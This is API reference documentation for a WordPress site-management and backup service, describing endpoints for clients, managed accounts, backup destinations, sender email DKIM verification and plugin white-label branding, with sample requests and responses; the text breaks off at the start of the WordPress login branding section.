# API Documentation

Version: 6.0.0  
Base URL: `https://api.blogvault.net/api/v6`

The OpenAPI document at `/api/v6/openapi.json` is authoritative. This file is a compact reference optimized for text-only agent context.

Interactive reference: [Scalar API reference](/api/v6/reference/)

## Authentication

Use an API Token as a bearer token.

Generate the token from **My Account > API Credentials** in the dashboard, then send it in the `Authorization` header:

`Authorization: Bearer <API Token>`

## Rate limits and pagination

Authenticated requests are limited to 200 requests per minute per account. If the limit is exceeded, the API returns `429 Too Many Requests`.

Responses include these rate-limit headers:

- `X-RateLimit-Limit`: Maximum number of requests allowed per minute.
- `X-RateLimit-Remaining`: Number of requests remaining in the current rate-limit window.
- `X-RateLimit-Reset`: Number of seconds until the current rate-limit window resets.

Paginated list operations generally accept `page` and `perPage`. Read the operation parameters and response `meta.pagination` values for exact behavior.

## Common errors

- **400** — The filters or sort query parameters are invalid.
- **401** — Authentication is required.
- **403** — The account is inactive.
- **404** — The requested item was not found.
- **409** — Another setting update is already in progress.
- **422** — The client could not be created.
- **429** — Rate limit exceeded.
- **503** — The storage provider is temporarily unavailable.

## Operations

### Clients

#### List clients

`GET /clients`  
Operation ID: `listClients`

Returns clients in your account with contact details, notes, and assigned
site IDs. The assigned site IDs identify the WordPress sites grouped under
each client.

Use this list to review customers, find a client to update, or check which
sites are assigned to each client.

A successful response returns a paginated list of clients.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `search`, `first_name`, `last_name`, `email`, `company_name`, `created_at`, `updated_at`
- Supported operators:
  - `contains`: `search`, `first_name`, `last_name`, `email`, `company_name`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- `search:contains` searches `first_name`, `last_name`, `email`, and `company_name`
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[email:contains]=client@`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `first_name`, `last_name`, `email`, `company_name`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned clients.
- `filters` (query, optional, object) — Filters applied to returned clients.

Successful responses:

- **200** — Clients returned successfully.

```json
{
  "clients": [
    {
      "id": "fT9nK3xR7mL5pQ2vW8hY6bFd",
      "first_name": "John",
      "last_name": "Client",
      "email": "client@example.com",
      "company_name": "Acme Inc",
      "address": "221B Baker Street",
      "note": "VIP",
      "site_ids": [
        "9bf3c2e7a1b24c6d8e9f0123456789ab"
      ],
      "created_at": "2026-01-10T10:00:00Z",
      "updated_at": "2026-01-11T10:00:00Z"
    },
    {
      "id": "dR5mK8xN4pL9wJ3vT7hY2bFa",
      "first_name": "Jane",
      "last_name": "Smith",
      "email": "jane@example.com",
      "company_name": "Beta LLC",
      "address": "",
      "note": "",
      "site_ids": [
        "a1b2c3d4e5f64789ab0c123456789def"
      ],
      "created_at": "2026-01-09T08:00:00Z",
      "updated_at": "2026-01-09T08:00:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create client

`POST /clients`  
Operation ID: `createClient`

Creates a client for a customer or company and can assign existing
WordPress sites at the same time.

Use this when you need to add a customer profile and group that customer's
sites under it.

Submitted sites must be available to you and not already assigned to
another client.

A successful response returns the created client, including its assigned
site IDs.

Request body (required): `application/json`

Required fields: `client`

```json
{
  "client": {
    "first_name": "New",
    "last_name": "Client",
    "email": "new@example.com",
    "company_name": "New Co",
    "address": "42 Main St",
    "note": "Priority",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ]
  }
}
```

Successful responses:

- **201** — Client created successfully.

```json
{
  "client": {
    "id": "dR5mK8xN4pL9wJ3vT7hY2bFa",
    "first_name": "New",
    "last_name": "Client",
    "email": "new@example.com",
    "company_name": "New Co",
    "address": "42 Main St",
    "note": "Priority",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "created_at": "2026-01-12T10:00:00Z",
    "updated_at": "2026-01-12T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Delete clients

`POST /clients/delete`  
Operation ID: `deleteClients`

Removes one or more clients from your account.

Use this when a customer should no longer be tracked as a client.

Partial success is possible when some clients are removed and others are
not found.

A successful response returns removed client IDs, client IDs that could not
be removed, and delete counts.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "fT9nK3xR7mL5pQ2vW8hY6bFd",
    "dR5mK8xN4pL9wJ3vT7hY2bFa"
  ]
}
```

Successful responses:

- **200** — Delete clients result (partial success allowed).

```json
{
  "delete": {
    "ids": [
      "fT9nK3xR7mL5pQ2vW8hY6bFd"
    ],
    "errors": [
      {
        "id": "bW4nK6xQ3mL8pJ5vT2hY9bFc",
        "code": "not_found",
        "message": "Client not found"
      }
    ]
  },
  "meta": {
    "requested": 2,
    "succeeded": 1,
    "failed": 1
  }
}
```

Errors: 400, 401, 403, 429

#### Show client

`GET /clients/{client_id}`  
Operation ID: `showClient`

Returns one client with contact details, notes, and assigned site IDs. The
assigned site IDs identify the WordPress sites grouped under this client.

Use this when you need to review a customer profile or check the client's
current site assignments.

A successful response returns the requested client.

Parameters:

- `client_id` (path, required, string) — Client ID returned in client lists and client details.

Successful responses:

- **200** — Client returned successfully.

```json
{
  "client": {
    "id": "fT9nK3xR7mL5pQ2vW8hY6bFd",
    "first_name": "John",
    "last_name": "Client",
    "email": "client@example.com",
    "company_name": "Acme Inc",
    "address": "221B Baker Street",
    "note": "VIP",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-11T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Update client

`POST /clients/{client_id}/update`  
Operation ID: `updateClient`

Updates a client's contact details, notes, or site assignments. Site
assignments are the WordPress sites grouped under the client.

Use this when customer details change or when sites need to be added to,
removed from, or replaced in the client's assignment list.

Submitted sites must be available to you and not already assigned to
another client.

A successful response returns the updated client with its assigned site IDs.

Parameters:

- `client_id` (path, required, string) — Client ID returned in client lists and client details.

Request body: `application/json`

```json
{
  "client": {
    "first_name": "Updated",
    "email": "updated@example.com",
    "company_name": "Updated Co",
    "note": "Updated note",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ]
  }
}
```

Successful responses:

- **200** — Client updated successfully.

```json
{
  "client": {
    "id": "fT9nK3xR7mL5pQ2vW8hY6bFd",
    "first_name": "Updated",
    "last_name": "Client",
    "email": "updated@example.com",
    "company_name": "Updated Co",
    "address": "42 Updated St",
    "note": "Updated note",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-15T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Managed Accounts

#### List managed accounts

`GET /managed-accounts`  
Operation ID: `listManagedAccounts`

Returns accounts where you already have access and invitations sent to your
email address. Each item shows the account owner email, your role, status,
and whether your access covers every site in that account.

Use this list to show accounts you can access and invitations that still
need your decision.

A successful response returns a paginated list of managed accounts.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `email`, `role`, `company_name`, `status`, `all_sites_access`, `created_at`, `updated_at`
- Supported operators:
  - `contains`: `email`, `company_name`
  - `eq`: `role`, `status`, `all_sites_access`
  - `in`: `role`, `status`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- `email:contains` matches the managed account owner's email address
- Supported role values for matching: `collaborator`, `administrator`, `co_owner`
- Supported status values for matching: `pending`, `connected`
- Boolean filters accept `true` or `false`
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[email:contains]=owner@`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `status`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned managed accounts.
- `filters` (query, optional, object) — Filters applied to returned managed accounts.

Successful responses:

- **200** — Managed accounts returned successfully.

```json
{
  "managed_accounts": [
    {
      "id": "wJ8nK5xR2mL7pQ4vT6hY9bFd",
      "email": "owner@example.com",
      "role": "administrator",
      "company_name": "Acme Inc",
      "status": "connected",
      "all_sites_access": true,
      "created_at": "2026-02-28T10:00:00Z",
      "updated_at": "2026-02-28T10:00:00Z"
    },
    {
      "id": "tR3mK7xN9pL4wJ6vQ2hY8bFa",
      "email": "agency-owner@example.com",
      "role": "collaborator",
      "company_name": "Agency Co",
      "status": "pending",
      "all_sites_access": false,
      "created_at": "2026-02-27T09:30:00Z",
      "updated_at": "2026-02-27T09:30:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Leave managed account

`DELETE /managed-accounts/{managed_account_id}`  
Operation ID: `deleteManagedAccount`

Leaves a managed account that you already have access to.

Use this when you no longer need access to another account.

A successful response removes your access and returns no response body.

Parameters:

- `managed_account_id` (path, required, string) — Managed account ID returned in managed account lists and details.

Successful responses:

- **204** — Access to the managed account was removed. No response body is returned.

Errors: 400, 401, 403, 404, 429

#### Accept invitation

`POST /managed-accounts/{managed_account_id}/accept`  
Operation ID: `acceptManagedAccount`

Accepts an invitation to access another person's account.

Use this when you want the invited account to appear in your managed
accounts.

The invitation must have been sent to your email address and must still be
pending. Your role and site access are chosen by the inviting account.

A successful response returns the connected managed account.

Parameters:

- `managed_account_id` (path, required, string) — Managed account ID returned in managed account lists and details.

Successful responses:

- **200** — Invitation accepted successfully.

```json
{
  "managed_account": {
    "id": "wJ8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "owner@example.com",
    "role": "administrator",
    "company_name": "Acme Inc",
    "status": "connected",
    "all_sites_access": true,
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:05:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Reject invitation

`POST /managed-accounts/{managed_account_id}/reject`  
Operation ID: `rejectManagedAccount`

Rejects an invitation to access another person's account.

Use this when you do not want access to the invited account.

A successful response returns the invitation with `status: rejected`.

Parameters:

- `managed_account_id` (path, required, string) — Managed account ID returned in managed account lists and details.

Successful responses:

- **200** — Invitation rejected successfully.

```json
{
  "managed_account": {
    "id": "tR3mK7xN9pL4wJ6vQ2hY8bFa",
    "email": "owner@example.com",
    "role": "collaborator",
    "company_name": "Acme Inc",
    "status": "rejected",
    "all_sites_access": false,
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:05:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

### Backup Destinations

#### List backup destinations

`GET /backup-destinations`  
Operation ID: `listBackupDestinations`

Returns backup destinations available to your account. The list includes
storage providers that can be used for backup uploads, plus saved
destination details when a provider has been connected.

Each entry shows the provider, connection status, connected account
details when available, and upload settings.

Use this list before starting a backup upload. For Google Drive uploads,
use the saved destination `id` from the connected Google Drive entry. For
Dropbox uploads, send provider `dropbox` in the Backup Upload request.
Google Drive is omitted when that provider is disabled.

A successful response returns the available backup destinations.

Successful responses:

- **200** — Backup destinations returned successfully.

```json
{
  "backup_destinations": [
    {
      "id": "bkd_4ac72f9d10b84621",
      "provider": "dropbox",
      "provider_label": "Dropbox",
      "name": "Dropbox",
      "status": "active",
      "connected": true,
      "email": "dropbox@example.com",
      "provider_account_id": null,
      "provider_metadata": {},
      "config": {},
      "last_tested_at": null,
      "last_error_code": null,
      "last_error_message": null,
      "created_at": "2026-06-09T09:30:00Z",
      "updated_at": "2026-06-10T10:00:00Z"
    },
    {
      "id": "bkd_8fd93a2c91e44d19",
      "provider": "google_drive",
      "provider_label": "Google Drive",
      "name": "Google Drive",
      "status": "active",
      "connected": true,
      "email": "drive@example.com",
      "provider_account_id": "google-account-id",
      "provider_metadata": {
        "folder_id": "folder-id",
        "folder_name": "Site Backups"
      },
      "config": {
        "folder_policy": "app_folder",
        "folder_name": "Site Backups"
      },
      "last_tested_at": "2026-06-10T10:00:00Z",
      "last_error_code": null,
      "last_error_message": null,
      "created_at": "2026-06-10T09:30:00Z",
      "updated_at": "2026-06-10T10:00:00Z"
    }
  ]
}
```

Errors: 401, 403, 429

#### Show backup destination

`GET /backup-destinations/{backup_destination_id}`  
Operation ID: `showBackupDestination`

Returns one backup destination by provider ID or saved destination ID.
Use provider ID `dropbox` or `google_drive` to view a storage provider,
including its current connection status. Use a saved destination `id` to
view a destination that has already been saved in your account.

Use this when you need to check one storage provider or saved destination
before using it for a backup upload.

Google Drive can be viewed only when that provider is enabled.

A successful response returns the requested backup destination.

Parameters:

- `backup_destination_id` (path, required, string) — Backup destination provider ID or saved destination ID.

Successful responses:

- **200** — Backup destination returned successfully.

```json
{
  "backup_destination": {
    "id": "bkd_8fd93a2c91e44d19",
    "provider": "google_drive",
    "provider_label": "Google Drive",
    "name": "Google Drive",
    "status": "active",
    "connected": true,
    "email": "drive@example.com",
    "provider_account_id": "google-account-id",
    "provider_metadata": {
      "folder_id": "folder-id",
      "folder_name": "Site Backups"
    },
    "config": {
      "folder_policy": "app_folder",
      "folder_name": "Site Backups"
    },
    "last_tested_at": "2026-06-10T10:00:00Z",
    "last_error_code": null,
    "last_error_message": null,
    "created_at": "2026-06-10T09:30:00Z",
    "updated_at": "2026-06-10T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Test backup destination

`POST /backup-destinations/{backup_destination_id}/test`  
Operation ID: `testBackupDestination`

Tests one saved Dropbox or Google Drive backup destination.

Use this before starting a backup upload to check whether the saved
connection can still access the storage account. When the test succeeds,
the destination status, connected account details, and upload settings
are refreshed.

`backup_destination_id` can be a provider ID (`dropbox`, `google_drive`)
only after that provider has a saved destination in your account.

A successful response returns the tested backup destination.

Parameters:

- `backup_destination_id` (path, required, string) — Backup destination provider ID or saved destination ID.

Successful responses:

- **200** — Backup destination test completed successfully.

```json
{
  "backup_destination": {
    "id": "bkd_8fd93a2c91e44d19",
    "provider": "google_drive",
    "provider_label": "Google Drive",
    "name": "Google Drive",
    "status": "active",
    "connected": true,
    "email": "drive@example.com",
    "provider_account_id": "google-account-id",
    "provider_metadata": {
      "folder_id": "folder-id",
      "folder_name": "Site Backups"
    },
    "config": {
      "folder_policy": "app_folder",
      "folder_name": "Site Backups"
    },
    "last_tested_at": "2026-06-10T10:00:00Z",
    "last_error_code": null,
    "last_error_message": null,
    "created_at": "2026-06-10T09:30:00Z",
    "updated_at": "2026-06-10T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429, 503

#### Disconnect backup destination

`POST /backup-destinations/{backup_destination_id}/disconnect`  
Operation ID: `disconnectBackupDestination`

Disconnects one saved Dropbox or Google Drive backup destination.

Use this when the account should stop sending backup uploads to that
storage account. The saved connection and connected account details are
cleared.

`backup_destination_id` can be a provider ID (`dropbox`, `google_drive`)
only after that provider has a saved destination in your account.

A successful response returns the backup destination with
`status: inactive`.

Parameters:

- `backup_destination_id` (path, required, string) — Backup destination provider ID or saved destination ID.

Successful responses:

- **200** — Backup destination disconnected successfully.

```json
{
  "backup_destination": {
    "id": "bkd_8fd93a2c91e44d19",
    "provider": "google_drive",
    "provider_label": "Google Drive",
    "name": "Google Drive",
    "status": "inactive",
    "connected": false,
    "email": null,
    "provider_account_id": null,
    "provider_metadata": {},
    "config": {},
    "last_tested_at": null,
    "last_error_code": null,
    "last_error_message": null,
    "created_at": "2026-06-10T09:30:00Z",
    "updated_at": "2026-06-10T10:15:00Z"
  }
}
```

Errors: 401, 403, 404, 429

### Sender Emails

#### List sender emails

`GET /sender-emails`  
Operation ID: `listSenderEmails`

Returns sender emails in your account with display names, verification status, and DNS details.

Use this list to review configured From addresses, find a sender email ID for later requests, or check which DNS details still need verification.

A successful response returns a paginated list of sender emails.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `email`, `name`, `status`, `domain_dkim_verified`, `domain_return_path_verified`, `created_at`, `updated_at`
- Supported operators:
  - `contains`: `email`, `name`
  - `eq`: `status`, `domain_dkim_verified`, `domain_return_path_verified`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- Supported status values for matching: `pending`, `verified`
- Boolean filters accept `true` or `false`
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[email:contains]=reports`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `email`, `name`, `status`, `created_at`, `updated_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned sender emails.
- `filters` (query, optional, object) — Filters applied to returned sender emails.

Successful responses:

- **200** — Sender emails returned successfully.

```json
{
  "sender_emails": [
    {
      "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
      "email": "reports@example.com",
      "name": "Reports",
      "status": "verified",
      "domain": {
        "dkim": {
          "hostname": "mail._domainkey.example.com",
          "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
          "verified": true
        },
        "return_path": {
          "hostname": "bounce.example.com",
          "value": "return.example.net",
          "verified": true
        }
      },
      "created_at": "2026-01-10T09:00:00Z",
      "updated_at": "2026-01-10T09:30:00Z"
    },
    {
      "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa",
      "email": "billing@example.com",
      "name": "Billing",
      "status": "pending",
      "domain": {
        "dkim": {
          "hostname": "mail._domainkey.example.com",
          "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
          "verified": false
        },
        "return_path": {
          "hostname": "bounce.example.com",
          "value": "return.example.net",
          "verified": false
        }
      },
      "created_at": "2026-01-11T09:00:00Z",
      "updated_at": "2026-01-11T09:00:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Create sender email

`POST /sender-emails`  
Operation ID: `createSenderEmail`

Creates a sender email for a From address and starts ownership verification.

Use this when adding an address that report or notification emails can use as the From address.

A successful response returns the created sender email with `status: pending` and its DNS details.

Request body (required): `application/json`

Required fields: `sender_email`

```json
{
  "sender_email": {
    "email": "reports@example.com",
    "name": "Reports"
  }
}
```

Successful responses:

- **201** — Sender email created successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "pending",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": false
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": false
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show sender email

`GET /sender-emails/{sender_email_id}`  
Operation ID: `showSenderEmail`

Returns one sender email from your account with verification status and DNS details.

Use this when you need the current verification status or DNS details for one address.

A successful response returns the requested sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": true
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:30:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Delete sender email

`DELETE /sender-emails/{sender_email_id}`  
Operation ID: `deleteSenderEmail`

Deletes a sender email from your account.

Use this when an address should no longer be available for report or notification emails.

A successful response returns no response body.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **204** — Sender email deleted successfully. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Update sender email

`POST /sender-emails/{sender_email_id}/update`  
Operation ID: `updateSenderEmail`

Updates the display name or return-path hostname for a sender email.

Use this when recipients should see a different sender name, or when the return-path DNS hostname needs to change.

A successful response returns the updated sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Request body (required): `application/json`

Required fields: `sender_email`

```json
{
  "sender_email": {
    "name": "Reports"
  }
}
```

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": true
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:30:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Resend sender email verification

`POST /sender-emails/{sender_email_id}/resend-verification`  
Operation ID: `resendSenderEmailVerification`

Requests another ownership verification email for a sender email with `status: pending`.

Use this when the recipient needs a new verification link.

A successful response returns the pending sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Pending sender email returned successfully.

```json
{
  "sender_email": {
    "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa",
    "email": "billing@example.com",
    "name": "Billing",
    "status": "pending",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": false
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": false
      }
    },
    "created_at": "2026-01-11T09:00:00Z",
    "updated_at": "2026-01-11T09:00:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Rotate sender email DKIM

`POST /sender-emails/{sender_email_id}/rotate-dkim`  
Operation ID: `rotateSenderEmailDkim`

Rotates the DKIM DNS value for a sender email with `status: verified`.

Use this when you need to replace the DKIM DNS value for the address domain.

After rotation, publish the returned DKIM hostname and value. `domain.dkim.verified` remains `false` until the new DNS details are published and accepted.

A successful response returns the updated sender email with the new DKIM DNS values.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...rotated",
        "verified": false
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:45:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Verify sender email DKIM

`POST /sender-emails/{sender_email_id}/verify-dkim`  
Operation ID: `verifySenderEmailDkim`

Checks DKIM DNS verification for a sender email with `status: verified`.

Use this after publishing or changing the DNS details shown in `domain.dkim`.

If the DNS details are not published or accepted yet, `domain.dkim.verified` remains `false`.

A successful response returns the updated sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": true
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:30:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Verify sender email return path

`POST /sender-emails/{sender_email_id}/verify-return-path`  
Operation ID: `verifySenderEmailReturnPath`

Checks whether the return-path CNAME is published and accepted for a sender email with `status: verified`.

Use this after publishing or changing the CNAME shown in `domain.return_path`.

If the CNAME is not published or accepted yet, `domain.return_path.verified` remains `false`.

A successful response returns the updated sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": true
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:30:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Refresh sender email verification status

`POST /sender-emails/{sender_email_id}/refresh`  
Operation ID: `refreshSenderEmail`

Refreshes the current ownership and DNS verification status for a sender email.

Use this after the address owner confirms verification, or after DKIM or return-path DNS details are changed.

The refresh can change `status` from `pending` to `verified` and can update `domain.dkim.verified` or `domain.return_path.verified`.

A successful response returns the updated sender email.

Parameters:

- `sender_email_id` (path, required, string) — Sender email ID returned in sender email lists and details.

Successful responses:

- **200** — Sender email returned successfully.

```json
{
  "sender_email": {
    "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
    "email": "reports@example.com",
    "name": "Reports",
    "status": "verified",
    "domain": {
      "dkim": {
        "hostname": "mail._domainkey.example.com",
        "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...",
        "verified": true
      },
      "return_path": {
        "hostname": "bounce.example.com",
        "value": "return.example.net",
        "verified": true
      }
    },
    "created_at": "2026-01-10T09:00:00Z",
    "updated_at": "2026-01-10T09:30:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

### Plugin Branding

#### Show plugin branding

`GET /whitelabel/plugin-branding`  
Operation ID: `showPluginBranding`

Returns how your account's plugin is displayed in WordPress admin. The
response includes the branding type and, when the plugin is shown, the
displayed name, description, and author details.

Use this when you need to review the current plugin branding before
changing or resetting it.

`type: default` means the plugin uses your account's default display
details. `type: hidden` means the name, description, and author fields
are null.

A successful response returns the current plugin branding.

Successful responses:

- **200** — Plugin branding returned successfully.

```json
{
  "plugin_branding": {
    "type": "custom",
    "name": "Site Guardian",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Acme Agency",
      "url": "https://example.com"
    }
  }
}
```

Errors: 401, 403, 429

#### Update plugin branding

`POST /whitelabel/plugin-branding/update`  
Operation ID: `updatePluginBranding`

Updates how your account's plugin is displayed in WordPress admin and
applies the saved branding across sites in your account.

Use this to set a custom displayed name, description, and author
details, or to hide the plugin.

The account plan must support Plugin Branding. Another setting update
cannot already be in progress.

A successful response returns the saved plugin branding.

Request body (required): `application/json`

Required fields: `plugin_branding`

```json
{
  "plugin_branding": {
    "type": "custom",
    "name": "Site Guardian",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Acme Agency",
      "url": "https://example.com"
    }
  }
}
```

Successful responses:

- **200** — Plugin branding updated successfully.

```json
{
  "plugin_branding": {
    "type": "custom",
    "name": "Site Guardian",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Acme Agency",
      "url": "https://example.com"
    }
  }
}
```

Errors: 400, 401, 403, 409, 422, 429

#### Reset plugin branding

`POST /whitelabel/plugin-branding/reset`  
Operation ID: `resetPluginBranding`

Resets how your account's plugin is displayed in WordPress admin to
your account's default plugin details.

Use this when the plugin should stop using custom display details or
should no longer be hidden.

The account plan must support Plugin Branding. Another setting update
cannot already be in progress.

A successful response returns plugin branding with `type: default`.

Successful responses:

- **200** — Plugin branding reset successfully.

```json
{
  "plugin_branding": {
    "type": "default",
    "name": "Managed WordPress Plugin",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Plugin Provider",
      "url": "https://example.com"
    }
  }
}
```

Errors: 401, 403, 409, 422, 429

### WP Login Branding

#### Show WordPress login branding

`GET /whitelabel/wp-login`  
Operation ID: `showWpLogin`

Returns how the WordPress login screen is displayed across sites in your
